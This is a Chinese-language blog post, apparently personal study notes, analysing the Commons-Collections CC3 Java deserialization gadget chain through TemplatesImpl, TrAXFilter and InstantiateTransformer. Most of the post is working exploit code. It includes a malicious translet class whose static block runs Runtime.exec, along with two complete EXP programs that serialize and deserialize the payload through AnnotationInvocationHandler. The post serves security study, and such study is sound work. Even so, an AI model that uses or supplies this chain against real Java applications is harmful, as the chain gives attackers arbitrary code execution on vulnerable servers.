Commons-Collections 篇 --CC3

CC3

1&6是命令执行

3&2&4是代码执行

利用动态类加载,代码执行

介绍

  • 不直接使用 CC1 或 CC2 的触发方式,利用了 Map + AnnotationInvocationHandler 组合。

  • 可以通过修改 Transformer 链执行任意方法,而不仅仅是系统命令。

CC3 = 利用反序列化 → 触发 LazyMap → 触发 ChainedTransformer → 触发 InvokerTransformer → 执行你指定的方法链

分析

回顾类加载

ClassLoader里面—–使用loadclass加载——-findclass—-defineclass

image-20251129163204035

从字节b中加载一个类

类加载不会执行代码所以现在得寻找他的初始化(调用)

逐步分析

过滤Runtime.exec

找流程

  • 寻找defineclass的初始化

    注意:在查找用法的时候,有好几种形式的defineClass,可以都看看

    最后找到了这个形式

    image-20251129170029887

    的这个文件

    image-20251129170201366

    因为,这个文件的defineClss前面只写了一个class,说明是内部调用的,存在声明

  • 跟进看看哪里调用了defineClass

    image-20251129170930792

    出现在这个函数中defineTransletClasses

    image-20251129170953597

    defineTransletClasses也是私有的

  • 继续查看defineTransletClasses的调用

    image-20251129171226988

    在这三个调用中,只有如图的此处,出现了newInstance()用来初始化

    其他的两处就是简单返回了这个加载类(后续操作未知,或者是不直接)

    所以看这个就行,getTransletInstance

  • getTransletInstance是私有的,继续寻找调用

    image-20251129171548192

    定位到newnewTransformer是public的

问题:

cc3中,为什么一定要找public的newnewTransformer呢??

CC3 链之所以必须“停”在 newTransformer(),是因为这是整个过程中唯一可以被反射正常调用的 public 实例方法\,并且它会触发 JDK 内置的 XSLTC 流程,从而进一步调用内部代码链。
而之前那些方法虽然是私有的,但它们不是被反射主动调用,而是被 类加载流程内部自动调用 的。

也就是:

你并不是“主动调用到那里”,而是被 JDK 内部代码自动推着走到那里。
到了 newTransformer() 才真正需要“主动调用”,所以必须是 public。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CC3 链依赖的是 XSLTC 的 ClassLoader 机制(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)。
这条链启动后:

① ClassLoader.loadClass()
JDK 内部调用,属于类加载规范流程。
② → findClass()
ClassLoader 内部会自动调用 findClass(protected)。
③ → defineClass()
ClassLoader 内部自动调用(public/protected 都行)。
④ → defineTransletClasses()(private)

注意:
虽然这是 private
但是 是在 TemplatesImpl 的内部代码中自己调用自己的私有方法
不是你反射调用的,所以访问权限不受限制。

⑤ → getTransletInstance()(private)
同理,也是内部方法“自己调用”自己。

newnewTransformer是public
  • TemplatesImpl.newTransformer(public)

    getTransletInstance.newInstance

    image-20251130203456258

    defineTransletClasses里面_class[_transletIndex]赋值

    image-20251130203611912

    defineClass进行类加载_class[i] = loader.defineClass(_bytecodes[i]);

  • image-20251130214050607

    这个类的继承,说明可以反序列化、

  • 先看逻辑(构造测试)

    1
    2
    3
    4
    5
    6
    7
    public class CC3Test {
        public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException {
    
            TemplatesImpl templates = new TemplatesImpl();
            templates.newTransformer() ;
    
        }

看参数赋值

  • newTransformer内部,查看赋值参数

    image-20251130214548719

    发现后面的几个,不赋值也不影响的getTransletInstance()调用

  • 进到getTransletInstance()看看

    image-20251130214716607

    • name需要赋值

      class是空,就调用defineTransletClasses这个是我们想要的

    • 查看new的TemplatesImpl是否传入参数

      image-20251130214933909

      啥也没有

      也就是说,new的时候没赋值,就需要我们写exp的时候自己赋值

  • 下一步走到defineTransletClasses

    image-20251130221353081

    • _bytecodess是空,会爆出异常需要赋值
    • _tfactory要调用后面的方法需要赋值
  • 查看_bytecodess的类型

    image-20251130223301642

    _bytecodess是一个二维数组

  • 查看defineClass的传参类型

    image-20251130223355851

    接受收一个一维数组

  • 接着查看其调用

    image-20251130223942097

    就是for循环,把传的每一个_bytecodess循环调用(所以弄个一维数组,套一层二维就行)

  • 构造测试

    • 1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      public class CC3Test {
          public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException {
              //TemplatesImpl 本质上表示一个已编译的 XSLT 模板容器,它会在内部保存“要加载的类字节码”(translet)
              // 并在 newTransformer() 时把这些字节码变成 JVM 中的类实例。
              TemplatesImpl templates = new TemplatesImpl();
              Class tc = templates.getClass();
              //获取  私有  字段"_name"
              Field nameField = tc.getDeclaredField("_name");
              nameField.setAccessible(true);//获取私有
              //在templates中设置  "_name"=="aaaa"
              nameField.set(templates,"aaaa");
              //获取  私有  字段"_bytecodes"
              Field bytecodesField = tc.getDeclaredField("_bytecodes");
              bytecodesField.setAccessible(true);//获取私有
              //创建字节码
              byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
              //设置二位数组和参数类型匹配
              byte[][] codes = {code};
              //在templates中设置  "_bytecodes"==codes
              bytecodesField.set(templates,codes);
      
              //获取  私有  字段"_tfactory"
              Field tfactoryField = tc.getDeclaredField("_tfactory");
              tfactoryField.setAccessible(true);//获取私有
              //在templates中设置  "_tfactory"==new TransformerFactoryImpl()
              tfactoryField.set(templates,new TransformerFactoryImpl());
      
              // newTransformer() 是最终触发点,会执行:
              // defineTransletClasses() → 将 _bytecodes 加载为类
              // getTransletInstance()   → 实例化类(执行静态代码块/构造)
              templates.newTransformer() ;
      
          }
    • 构建_bytecodes

      • 在Test文件写完之后,构建得到字节码(class文件)

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        package org.example;
        import java.io.*;
        public class Test {
                static {
                    try {
                        Runtime.getRuntime().exec("calc");
                    } catch (IOException e) {
                        e.printStackTrace();
                }
            }
        }
      • 构建完放在这个路径下,和上面匹配

        image-20251130225331067

        使得CC3Test文件中的byte[]可以读取字节码,将其放到templates里面

      • 构造

        1
        2
        3
        4
        5
        6
        7
        8
        9
        //获取  私有  字段"_bytecodes"
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);//获取私有
        //创建字节码
        byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
        //设置二位数组和参数类型匹配
        byte[][] codes = {code};
        //在templates中设置  "_bytecodes"==codes
        bytecodesField.set(templates,codes);
    • 构造_tfactory(用于方法实现)

      • 跟进_tfactory

        1
        private transient TransformerFactoryImpl _tfactory = null;

        类型是TransformerFactoryImpl

        transient说明,这个变量不可序列化

        也就是说,给他赋值没啥用,反序列化传不进去(但是,需要这个值,但是又不能反序列化得到,所以他的复赋值一定在readObject里面)

      • 看readObject

        image-20251201133023704

      • 构造

        1
        2
        3
        4
        5
        //获取  私有  字段"_tfactory"
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);//获取私有
        //在templates中设置  "_tfactory"==new TransformerFactoryImpl()
        tfactoryField.set(templates,new TransformerFactoryImpl());

处理报错

  • 发现报错defineTransletClasses

    image-20251201134630712

  • dubug查看错误

    image-20251201160912670

    发现

    1
    2
    3
    4
    5
    if判断,
    查看获取类的父类是不是等于ABSTRACT_TRANSLET,是则赋值_transletIndex=i
    不是则调用_auxClasses的put方法
    
    现在就是因为_auxClasses为空,所以报错
  • 解决

    • 要么if达成上一个条件_transletIndex

    • 要么给_auxClasses赋值,但是后面还要验证_transletIndex的值

      1
      2
      3
      4
      if (_transletIndex < 0) {
          ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
          throw new TransformerConfigurationException(err.toString());
      }
  • 满足第一个if

    • 看ABSTRACT_TRANSLET这个类

      1
      2
      private static String ABSTRACT_TRANSLET
          = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
    • 把他写Test里面

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      package org.example;
      import java.io.*;
      import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
      public class Test  extends AbstractTranslet{
              static {
                  try {
                      Runtime.getRuntime().exec("calc");
                  } catch (IOException e) {
                      e.printStackTrace();
              }
          }
      }
    • 但是发现爆红

      原因:

      1
      public abstract class AbstractTranslet implements Translet {

      AbstractTranslet是一个抽象类

      需要实现抽象方法

      • 只有transform,抽象方法

        1
        2
        3
        public abstract void transform(DOM document, DTMAxisIterator iterator,
                                       SerializationHandler handler)
            throws TransletException;
      • Translet还有transform的接口

      • 实现

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        package org.example;
        import java.io.*;
        
        import com.sun.org.apache.xalan.internal.xsltc.DOM;
        import com.sun.org.apache.xalan.internal.xsltc.TransletException;
        import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
        import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
        import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
        
        public class Test  extends AbstractTranslet{
                static {
                    try {
                        Runtime.getRuntime().exec("calc");
                    } catch (IOException e) {
                        e.printStackTrace();
                }
            }
        
            @Override
            public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
        
            }
        
            @Override
            public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
                
            }
        }
  • 成功弹出

    image-20251201165309578

过滤InvokerTransform.transform

寻找哪个类调用了newTransformer

  • 到上面TemplatesImpl.newTransformer

    newTransformer可以执行代码

  • 查看newTransformer的调用,看看有没有别的类调用这个方法

    • getOutputProperties()

      1
      2
      3
      4
      5
      6
      7
      8
      public synchronized Properties getOutputProperties() {
          try {
              return newTransformer().getOutputProperties();
          }
          catch (TransformerConfigurationException e) {
              return null;
          }
      }

      也是调用的公共方法

      但是**调用 getOutputProperties()**:

      调用 Transformer 的 getOutputProperties() 方法,返回一些配置属性。
      但是 这本身并不会触发字节码执行,因为 getOutputProperties() 只是获取一些配置,根本没有执行你注入的字节码逻辑。

    • TransformerFactoryImpl

      1
      2
      public class TransformerFactoryImpl
          extends SAXTransformerFactory implements SourceLoader, ErrorListener

      没有继承序列化接口,想要实现序列化,就要看看构造函数

      1
      2
      3
      public TransformerFactoryImpl() {
              this(true);
          }

      构造函数实现不了,所以不行

    • TrAXFilter

      image-20251201201110139

      传参templates之后,直接调用了templates.newTransformer()

      也就是说调用构造函数,即可成功执行

      1
      public class TrAXFilter extends XMLFilterImpl {
      1
      2
      3
      public class XMLFilterImpl
          implements XMLFilter, EntityResolver, DTDHandler, ContentHandler, ErrorHandler
      {

      但是未继承反序列化接口

  • 目的:想要序列化TrAXFilter

    从其class入手,在构造函数中赋值

构造函数中赋值

  • 用到一个类InstantiateTransformer

    有序列化接口

    1
    2
    3
    4
    5
    6
    7
    8
    9
    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    "InstantiateTransformer: Input object was not an instanceof Class, it was a "
                        + (input == null ? "null object" : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

    这个类的transform方法

    ​ 先判断传入参数是不是class类型

    ​ 如果是,就获取其指定类型的构造器

    ​ 调用其构造函数

    这里正好和我们上面提到的 构造函数 相同

  • 查看InstantiateTransformer的构造函数

    1
    2
    3
    4
    5
    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }
    • 获取所获得类的参数的类型以及参数值

      我们所想要的类是TrAXFilter

      image-20251201202810929

      类型:Templates

      值:上面我们所构造的

  • 测试构造

    1
    2
    3
    4
     //构造instantiateTransformer
     InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
    //复制测试
     instantiateTransformer.transform(TrAXFilter.class);

逐步构造

过滤Runtime.exec

过滤Runtime.exec,进行代码执行(相当于把危险方法包在了字节码中,解析之后调用)

  • 利用反射调用templates的newTransformer方法

    1
    2
    3
    4
    5
    6
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(templates),
            new InvokerTransformer("newTransformer", null, null)
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    chainedTransformer.transform(1);//写个东西测试一下,发现可以弹出计算器

    执行顺序:

    步骤 Transformer 输入 输出
    1 ConstantTransformer 1 templates
    2 InvokerTransformer templates 执行 templates.newTransformer()

    这个地方输入“1”,只是为了将程序跑起来

    transform() 方法 必须要有一个输入(任何 Object 都行)

    image-20251201200822262

  • 下面的代码就和cc1前半段一样了(因为上面这个都可以执行)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    HashMap<Object, Object> map = new HashMap<>();
            map.put("value", "12");
            Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
    //        for(Map.Entry entry:transformedMap.entrySet()){
    //            entry.setValue(r);
    //        }
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
            annotationInvocationhdlConstructor.setAccessible(true);
            Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
    
            serialize(o);
            unserialize("ser.bin");
  • 最终代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    public class CC3Test {
        public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException {
            //TemplatesImpl 本质上表示一个已编译的 XSLT 模板容器,它会在内部保存“要加载的类字节码”(translet)
            // 并在 newTransformer() 时把这些字节码变成 JVM 中的类实例。
            TemplatesImpl templates = new TemplatesImpl();
            Class tc = templates.getClass();
            //获取  私有  字段"_name"
            Field nameField = tc.getDeclaredField("_name");
            nameField.setAccessible(true);//获取私有
            //在templates中设置  "_name"=="aaaa"
            nameField.set(templates,"aaaa");
            //获取  私有  字段"_bytecodes"
            Field bytecodesField = tc.getDeclaredField("_bytecodes");
            bytecodesField.setAccessible(true);//获取私有
            //创建字节码
            byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
            //设置二位数组和参数类型匹配
            byte[][] codes = {code};
            //在templates中设置  "_bytecodes"==codes
            bytecodesField.set(templates,codes);
    
            //获取  私有  字段"_tfactory"
            Field tfactoryField = tc.getDeclaredField("_tfactory");
            tfactoryField.setAccessible(true);//获取私有
            //在templates中设置  "_tfactory"==new TransformerFactoryImpl()
            tfactoryField.set(templates,new TransformerFactoryImpl());
    
            // newTransformer() 是最终触发点,会执行:
            // defineTransletClasses() → 将 _bytecodes 加载为类
            // getTransletInstance()   → 实例化类(执行静态代码块/构造)
            templates.newTransformer() ;
    
            Transformer[] transformers = new Transformer[]{
                    new ConstantTransformer(templates),
                    new InvokerTransformer("newTransformer", null, null)
            };
            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
            chainedTransformer.transform(1);
        }
        public static void serialize(Object obj) throws IOException {
            ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
            oos.writeObject(obj);
        }
        public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
            ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
            Object obj = ois.readObject();
            return obj;
        }
    }

过滤InvokerTransform.transform

  • 接上面所说

    构造完instantiateTransformer(通过TrAXFilter触发)

    下面还是接着cc1的东西来获取这个TrAXFilter类

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    HashMap<Object, Object> map = new HashMap<>();
            map.put("value", "12");
            Map<Object, Object> transformedMap = TransformedMap.decorate(map, null,chainedTransformer );
    //        for(Map.Entry entry:transformedMap.entrySet()){
    //            entry.setValue(r);
    //        }
            Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
            annotationInvocationhdlConstructor.setAccessible(true);
            Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);
    
            serialize(o);
            unserialize("ser.bin");
  • 获取之前,要用ChainedTransformer将上面的包起来

    1
    2
    3
    4
    5
    6
    7
    8
    9
    InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
      
    Transformer[] transformers = new Transformer[]{
            // 第一步:返回 templates 对象
            new ConstantTransformer(TrAXFilter.class),
            // 第二步:调用 templates.newTransformer()
            instantiateTransformer
    };
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

    相当于instantiateTransformer替换InvokerTransform.transform

两个EXP

过滤Runtime.exec

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class CC3Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException {
        //TemplatesImpl 本质上表示一个已编译的 XSLT 模板容器,它会在内部保存“要加载的类字节码”(translet)
        // 并在 newTransformer() 时把这些字节码变成 JVM 中的类实例。
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        //获取  私有  字段"_name"
        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);//获取私有
        //在templates中设置  "_name"=="aaaa"
        nameField.set(templates,"aaaa");
        //获取  私有  字段"_bytecodes"
        Field bytecodesField = tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);//获取私有
        //创建字节码
        byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));
        //设置二位数组和参数类型匹配
        byte[][] codes = {code};
        //在templates中设置  "_bytecodes"==codes
        bytecodesField.set(templates,codes);

        //获取  私有  字段"_tfactory"
        Field tfactoryField = tc.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);//获取私有
        //在templates中设置  "_tfactory"==new TransformerFactoryImpl()
        tfactoryField.set(templates,new TransformerFactoryImpl());

        // newTransformer() 是最终触发点,会执行:
        // defineTransletClasses() → 将 _bytecodes 加载为类
        // getTransletInstance()   → 实例化类(执行静态代码块/构造)
        templates.newTransformer() ;

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        chainedTransformer.transform(1);
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

过滤InvokerTransform.transform

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
public class CC3Test2 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, TransformerConfigurationException, NoSuchFieldException {

        //TemplatesImpl 本质上表示一个已编译的 XSLT 模板容器,它会在内部保存“要加载的类字节码”(translet)
        // 并在 newTransformer() 时把这些字节码变成 JVM 中的类实例。
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameField = tc.getDeclaredField("_name");//获取  私有  字段"_name"
        nameField.setAccessible(true);//获取私有
        nameField.set(templates, "aaaa"); //在templates中设置  "_name"=="aaaa"

        Field bytecodesField = tc.getDeclaredField("_bytecodes");//获取  私有  字段"_bytecodes"
        bytecodesField.setAccessible(true);//获取私有

        byte[] code = Files.readAllBytes(Paths.get("C://Users//95227//Desktop//实验室//其他//序列化//class//Test.class"));//创建字节码
        byte[][] codes = {code};//设置二位数组和参数类型匹配
        bytecodesField.set(templates, codes);//在templates中设置  "_bytecodes"==codes

        Field tfactoryField = tc.getDeclaredField("_tfactory");//获取  私有  字段"_tfactory"
        tfactoryField.setAccessible(true);//获取私有
        tfactoryField.set(templates, new TransformerFactoryImpl()); //在templates中设置  "_tfactory"==new TransformerFactoryImpl()

        
        
        //构造instantiateTransformer
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        // 赋值测试
//        instantiateTransformer.transform(TrAXFilter.class);


        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", "12");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationInvocationhdlConstructor = c.getDeclaredConstructor(Class.class, Map.class);
        annotationInvocationhdlConstructor.setAccessible(true);
        Object o = annotationInvocationhdlConstructor.newInstance(Target.class, transformedMap);

        serialize(o);
        unserialize("ser.bin");


}

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

流程总结

过滤Runtime.exec

defineClass—-newInstance
defineTransletClasses
getTransletInstance.newInstance
TemplatesImpl.newTransformer

InvokerTransform.transform

后面的就是cc1一样,获取类的流程

过滤InvokerTransform.transform

defineClass—-newInstance
defineTransletClasses
getTransletInstance.newInstance
TemplatesImpl.newTransformer
TrAXFilter.TrAXFilter

InstantiateTransformer.transform

后面的就是cc1一样,获取类的流程

对比

  • 上面这条

    直接利用newTransformer

    用的是InvokerTransform.transform

  • 下面这条

    利用了调用newTransformer的类(间接调用)

    用的是InstantiateTransformer.transform

可以看图:

image-20251201210732574


Commons-Collections 篇 --CC3
http://example.com/2025/12/01/CC3/
作者
Piggy Sprint
发布于
2025年12月1日
许可协议